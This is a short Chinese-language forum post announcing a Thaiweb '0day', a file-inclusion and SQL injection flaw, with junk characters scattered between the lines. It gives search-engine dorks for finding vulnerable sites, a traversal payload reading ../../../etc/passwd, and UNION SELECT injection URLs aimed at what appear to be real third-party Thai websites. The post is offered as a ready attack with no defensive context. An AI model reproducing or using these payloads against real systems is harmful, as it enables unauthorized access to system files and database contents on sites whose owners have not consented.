Thaiweb远程文件sql注入漏洞0day

admin

Google之:
( |9 }7 E' k1 [* C
$ _* A$ @4 Q/ c& v6 gintext:powered by Thaiweb
9 u; i; G7 W5 t( W7 b
& }* G. q2 p$ f7 u& t! ^, k* N1 h/ kinurl:index.php?page=board.php
  f* n% d* h$ \1 h! C
$ j0 ^/ ^6 ], t: H! M3 Y* l
# H/ X' S4 @0 U% _/ p' o- c
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
1 l$ U, G3 [* ?
3 Q, u5 E6 g2 S' y  R
- N. x$ ^( }4 z, z# K6 r' j9 `
1 l; D$ |: R: U+ `利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
# ^$ i: K/ c! T  m

* J& g+ O1 N  H4 k; y, }
8 k. N. e5 z9 \0 C+ uhttp://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
) [- R  G9 B& h0 b
( \7 |& a( f$ |4 }http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--

http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
8 H/ r" }2 \& Y9 f; q: ^  h& R